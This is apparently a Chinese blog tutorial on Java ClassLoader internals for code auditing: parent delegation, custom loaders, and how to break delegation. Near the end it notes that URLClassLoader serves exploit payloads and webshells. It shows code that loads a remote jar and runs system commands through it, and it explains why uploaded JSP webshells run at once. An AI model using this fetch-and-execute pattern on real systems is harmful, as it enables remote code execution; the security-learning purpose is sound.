Java 代碼審計 — 1. ClassLoader

參考:

https://www.bilibili.com/video/BV1go4y197cL/

https://www.baeldung.com/java-classloaders

https://mp.weixin.qq.com/s/lX4IrOuCaSwYDtGQQFqseA

以 java 8 爲例

什麼是類加載

Java 是一種混合語言,它既有編譯型語言的特性,又有解釋型語言的特性。編譯特性指所有的 Java 代碼都必須經過編譯才能運行。解釋型指編譯好的 .class 字節碼需要經過 JVM 解釋才能運行。.class 文件中存放着編譯後的 JVM 指令的二進制信息。

當程序中用到某個類時,JVM 就會尋找加載對應的 .class 文件,並在內存中創建對應的 Class 對象。這個過程就稱爲類加載。

類的加載步驟

理論模型

從一個類的生命週期這個角度來看,一個類(.class) 必須經過加載、鏈接、初始化三個步驟才能在 JVM 中運行。

image-20211118114733473

當 java 程序需要使用某個類時,JVM 會進行加載、鏈接、初始化這個類。

加載 Loading

通過類的完全限定名查找類的字節碼文件,將類的 .class 文件字節碼數據從不同的數據源讀取到 JVM 中,並映射成 JVM 認可的數據結構。

這個階段是用戶可以參與的階段,自定義的類加載器就是在這個過程。

連接 Linking

  • 驗證:檢查 JVM 加載的字節信息是否符合 java 虛擬機規範。

    確保被加載類的正確性,.class文件的字節流中包含的信息符合當前虛擬機要求,不會危害虛擬機自身安全。

  • 準備:這一階段主要是分配內存。創建類或接口的靜態變量,並給這些變量賦默認值

    只對 static 變量進行處理。而 final static 修飾的變量在編譯的時候就會分配。

  • 例如: static int num = 5,此步驟會將 num 賦默認值 0,而 5 的賦值會在初始化階段完成。

  • 解析:把類中的符號引用轉換成直接引用。

    符號引用就是一組符號來描述目標,而直接引用就是直接指向目標的指針、相對偏移量或一個間接定位到目標的句柄。

初始化 Initialization

執行類初始化的代碼邏輯。包括執行 static 靜態代碼塊,給靜態變量賦值。

具體實現

java.lang.ClassLoader 是所有的類加載器的父類,java.lang.ClassLoader 有非常多的子類加載器,比如我們用於加載 jar 包的 java.net.URLClassLoader ,後者通過繼承 java.lang.ClassLoader 類,重寫了findClass 方法從而實現了加載目錄 class 文件甚至是遠程資源文件。

三種內置的類加載器

  • Bootstrap ClassLoader 引導類加載器

    Java 類被 java.lang.ClassLoader 的實例加載,而 後者本身就是一個 java 類,誰加載後者呢?

    其實就是 bootstrap ClassLoader ,它是最底層的加載器,是 JVM 的一部分,使用 C++ 編寫,故沒有父加載器,也沒有繼承 java.lang.ClassLodaer 類,在代碼中獲取爲 null。

    它主要加載 java 基礎類。位於 JAVA_HOME/jre/lib/rt.jar 以及sun.boot.class.path 系統屬性目錄下的類。

    出於安全考慮,此加載器只加載 java、javax、sun 開頭的類。

  • Extension ClassLoader 擴展類加載器

    負責加載 java 擴展類。位於是 JAVA_HOME/jre/lib/ext 目錄下,以及 java.ext.dirs 系統屬性的目錄下的類。

    sun.misc.Launcher$ExtClassLoader
    // jdk 9 及之後
    jdk.internal.loader.ClassLoaders$PlatformClassLoader
    
  • App ClassLoader 系統類加載器

    又稱 System ClassLoader ,主要加載應用層的類。位於 CLASS_PATH 目錄下以及系統屬性 java.class.path 目錄下的類。

    它是默認的類加載器,如果類加載時我們不指定類加載器的情況下,默認會使用它來加載類。

    sun.misc.Launcher$AppClassLoader
    // jdk 9 及之後
    jdk.internal.loader.ClassLoaders$AppClassLOader
    
父子關係

AppClassLoader 父加載器爲 ExtClassLoader,ExtClassLoader 父加載器爲 null 。

image-20211119115550127

很多資料和文章裏說,ExtClassLoader 的父類加載器是 BootStrapClassLoader ,嚴格來說,ExtClassLoader 的父類加載器是 null,只不過在其的 loadClass 方法中,當 parent 爲 null 時,是交給 BootStrap ClassLoader 來處理的。

雙親委派機制

試想幾個問題:

  1. 有三種類加載器,如何保證一個類加載器已加載的類不會被另一個類加載器重複加載?

    勢必在加載某個類之前,都要檢查一下是否已加載過。如果三個內置的類加載器都沒加載,則加載。

  2. 某些基礎核心類,是可以讓所有的加載器加載嗎?

    比如 String 類,如果給它加上後門,放到 classpath 下,是讓 appclassloader 加載嗎?如果是被 appclassloader 加載,那麼它需要做什麼驗證?如何進行驗證?

爲了解決上面的問題,java 採取的是雙親委派機制來協調三個類加載器。

image-20211031120555460

每個類加載器對它加載的類都有一個緩存。

向上委託查找,向下委託加載。

  • 類的唯一性

    可以避免類的重複加載,當父類加載器已經加載了該類時,就沒有必要子 ClassLoader 再加載一次,保證加載的 Class 在內存中只有一份。

    子加載器可以看見父加載器加載的類。而父加載器沒辦法得知子加載器加載的類。如果 A 類是通過 AppClassLoader 加載,而 B 類通過ExtClassLoader 加載,那麼對於 AppClassLoader 加載的類,它可以看見兩個類。而對於 ExtClassLoader ,它只能看見 B 類。

  • 安全性

    考慮到安全因素,Java 核心 Api 中定義類型不會被隨意替換,假設通過網絡傳遞一個名爲 java.lang.Object 的類,通過雙親委派模式傳遞到啓動類加載器,而啓動類加載器在覈心 JavaAPI 發現這個名字的類,發現該類已被加載,並不會重新加載網絡傳遞過來的 java.lang.Object,而直接返回已加載過的 Object.class,這樣可以防止核心API庫被隨意竄改。

加載步驟及代碼細節

public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException 

此函數是類加載的入口函數。resolve 這個參數就是表示需不需要進行 連接階段。

下面是截取的部分代碼片段,從這個片段中可以深刻體會雙親委派機制。

image-20211119112257880
Class<?> c = findLoadedClass(name);

在類加載緩存中尋找是否已經加載該類。它最終調用的是 native 方法。

if (parent != null) {
    c = parent.loadClass(name, false);
} else {
    c = findBootstrapClassOrNull(name);
}

如果父加載器不爲空,則讓遞歸讓父加載器去加載此類。

如果父加載器爲空,則調用 Bootstrap 加載器去加載此類。此處也即爲何說 ExtClassLoader 的父加載器爲 null,而非 Bootstrap 。

c = findClass(name);

如果查詢完所有父親仍未找到,說明此類並未加載,則調用 findClass 方法來尋找並加載此類。我們自定義類加載器,主要重寫的就是 findClass 。

總結

ClassLoader類有如下核心方法:

  1. loadClass(加載指定的Java類)
  2. findLoadedClass(查找JVM已經加載過的類)
  3. findClass(查找指定的Java類)
  4. defineClass(定義一個Java類)
  5. resolveClass(鏈接指定的Java類)

理解Java類加載機制並非易事,這裏我們以一個 Java 的 HelloWorld 來學習 ClassLoader

ClassLoader 加載 com.example.HelloWorld 類重要流程如下:

  1. ClassLoader 調用 loadClass 方法加載 com.example.HelloWorld 類。
  2. 調用 findLoadedClass 方法檢查 TestHelloWorld 類是否已經加載,如果 JVM 已加載過該類則直接返回類對象。
  3. 如果創建當前 ClassLoader 時傳入了父類加載器(new ClassLoader(父類加載器))就使用父類加載器加載 TestHelloWorld 類,否則使用 JVM 的 Bootstrap ClassLoader 加載。
  4. 如果上一步無法加載 TestHelloWorld 類,那麼調用自身的 findClass 方法嘗試加載TestHelloWorld 類。
  5. 如果當前的 ClassLoader 沒有重寫了 findClass 方法,那麼直接返回類加載失敗異常。如果當前類重寫了 findClass 方法並通過傳入的 com.example.HelloWorld 類名找到了對應的類字節碼,那麼應該調用 defineClass 方法去JVM中註冊該類。
  6. 如果調用 loadClass 的時候傳入的 resolve 參數爲 true,那麼還需要調用 resolveClass 方法鏈接類,默認爲 false。
  7. 返回一個被 JVM 加載後的java.lang.Class類對象。

自定義類加載器

用途

大多數情況下,內置的類加載器夠用了,但是當加載位於磁盤上其它位置,或者位於網絡上的類時,或者需要對類做加密等,就需要自定義類加載器。

一些使用場景:通過動態加載不同實現的驅動的 jdbc。以及編織代理可以更改已知的字節碼。以及類名相同的多版本共存機制。

具體實現

我們通常實現自定義類加載器,主要就是重寫 findClass 方法。

protected Class<?> findClass(String name) throws ClassNotFoundException

從網絡或磁盤文件(.class, jar, 等任意後綴文件) 上讀取類的字節碼。然後將獲取的類字節碼傳給 defineClass 函數來定義一個類。

protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError

它最終調用也是 native 方法。

示例代碼

使用類字節碼中加載類
@Test
public void test3(){
    Double salary = 2000.0;
    Double money;
    {
        byte[] b = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 32, 10, 0, 7, 0, 21, 10, 0, 22, 0, 23, 6, 63, -15, -103, -103, -103, -103, -103, -102, 10, 0, 22, 0, 24, 7, 0, 25, 7, 0, 26, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 59, 1, 0, 3, 99, 97, 108, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 6, 115, 97, 108, 97, 114, 121, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 27, 12, 0, 28, 0, 29, 12, 0, 30, 0, 31, 1, 0, 24, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 1, 0, 11, 100, 111, 117, 98, 108, 101, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 68, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 21, 40, 68, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 1, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 64, 0, 4, 0, 2, 0, 0, 0, 12, 43, -74, 0, 2, 20, 0, 3, 107, -72, 0, 5, -80, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 12, 0, 0, 0, 22, 0, 2, 0, 0, 0, 12, 0, 13, 0, 14, 0, 0, 0, 0, 0, 12, 0, 17, 0, 18, 0, 1, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20};
        money = calSalary(salary,b);
        System.out.println("money: " + money);
    }
}
private Double calSalary(Double salary,byte[] bytes) {
    Double ret = 0.0;
    try {
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class<?> clazz = (Class<?>) method.invoke(this.getClass().getClassLoader(), "ClassLoader.SalaryCaler1", bytes, 0, bytes.length);
        System.out.println(clazz.getClassLoader());
        Object object = clazz.getConstructor().newInstance();
        Method cal = clazz.getMethod("cal",Double.class);
        ret = (Double)cal.invoke(object,salary);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return ret;
}
從文件中讀取類字節碼加載類
@Test
// 自定義類加載器,從 .myclass 文件中中加載類。
public void test4(){
    // 將其它方法全註釋,並且 ClassLoader.SalaryCaler 文件更名。
    try {
        Double salary = 2000.0;
        Double money;
        SalaryClassLoader classLoader = new SalaryClassLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\underlying\\target\\classes\\");
        money = calSalary(salary, classLoader);
        System.out.println("money: " + money);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, SalaryClassLoader classLoader) throws Exception {

    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
    System.out.println(clazz.getClassLoader());

    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}
package ClassLoader;

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.security.SecureClassLoader;

public class SalaryClassLoader extends SecureClassLoader {
    private String classPath;

    public SalaryClassLoader(String classPath) {
        this.classPath = classPath;
    }

    @Override
    protected Class<?> findClass(String name)throws ClassNotFoundException {
        String filePath = this.classPath + name.replace(".", "/").concat(".myclass");
        byte[] b = null;
        Class<?> aClass = null;
        try (FileInputStream fis = new FileInputStream(new File(filePath))) {
            b = IOUtils.toByteArray(fis);
            aClass = this.defineClass(name, b, 0, b.length);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return aClass;
    }
}
從 jar 包中讀取類字節碼加載類
@Test
//自定義類加載器,從 jar 包中加載 .myclass
public void test5(){
    try {
        Double salary = 2000.0;
        Double money;
        SalaryJarLoader classLoader = new SalaryJarLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
        money = calSalary(salary, classLoader);
        System.out.println("money: " + money);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, SalaryJarLoader classLoader) throws Exception {
    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
    System.out.println(clazz.getClassLoader());

    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}
package ClassLoader;

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader;

public class SalaryJarLoader extends SecureClassLoader {
    private String jarPath;

    public SalaryJarLoader(String jarPath) {
        this.jarPath = jarPath;
    }


    @Override
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        Class<?> c = null;
        synchronized (getClassLoadingLock(name)){
            c = findLoadedClass(name);
            if(c == null){
                c = this.findClass(name);
                //                System.out.println(c);
                if( c == null){
                    c = super.loadClass(name,resolve);
                }
            }
        }
        return c;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        try {
            URL jarUrl = new URL("jar:file:\\"+jarPath+"!/"+name.replace(".","/").concat(".myclass"));
            InputStream is = jarUrl.openStream();

            byte[] b = IOUtils.toByteArray(is);
            ret = this.defineClass(name,b,0,b.length);
        } catch (Exception e) {
            //            e.printStackTrace();
        }
        return ret;
    }

}

打破雙親委派機制

重寫繼承而來的 loadClass 方法。

使其優先從本地加載,本地加載不到再走雙親委派機制。

@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    Class<?> c = null;
    synchronized (getClassLoadingLock(name)){
        c = findLoadedClass(name);
        if(c == null){
            c = this.findClass(name);
            if( c == null){
                c = super.loadClass(name,resolve);
            }
        }
    }
    return c;
}

其它

URLClassLoader

URLClassLoader 提供了加載遠程資源的能力,在寫漏洞利用的 payload 或者 webshell 的時候我們可以使用它來加載遠程的 jar 來實現遠程的類方法調用。

在 java.net 包中,JDK提供了一個易用的類加載器 URLClassLoader,它繼承了 ClassLoader。

public URLClassLoader(URL[] urls) 
//指定要加載的類所在的URL地址,父類加載器默認爲 AppClassLoader。
public URLClassLoader(URL[] urls, ClassLoader parent)
//指定要加載的類所在的URL地址,並指定父類加載器。

從本地 jar 包中加載類

@Test
// 從 jar 包中加載類
public void test3() {
    try {
        Double salary = 2000.0;
        Double money;
        URL jarUrl = new URL("file:C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
        try (URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{jarUrl})) {
            money = calSalary(salary, urlClassLoader);
            System.out.println("money: " + money);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, URLClassLoader classLoader) throws Exception {
    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler");
    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}

從網絡 jar 包中加載類

package com.anbai.sec.classloader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定義遠程加載的jar路徑
            URL url = new URL("https://anbai.io/tools/cmd.jar");

            // 創建URLClassLoader對象,並加載遠程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定義需要執行的系統命令
            String cmd = "ls";

            // 通過URLClassLoader加載遠程jar包中的CMD類
            Class cmdClass = ucl.loadClass("CMD");

            // 調用CMD類中的exec方法,等價於: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 獲取命令執行結果的輸入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 讀取命令執行結果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 輸出命令執行結果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}	
import java.io.IOException;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class CMD {

    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }

}

jsp webshell

爲什麼上傳的 jsp webshell 能立即訪問,按道理來說 jsp 要經過 servlet 容器處理轉化爲 servlet 才能執行。而通常開發過程需要主動進行更新資源、或者重新部署、重啓 tomcat 服務器。

image-20211127185648193

這是因爲 tomcat 的 熱加載機制 。而之所以 JSP 具備熱更新的能力,實際上藉助的就是自定義類加載行爲,當 Servlet 容器發現 JSP 文件發生了修改後就會創建一個新的類加載器來替代原類加載器,而被替代後的類加載器所加載的文件並不會立即釋放,而是需要等待 GC。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章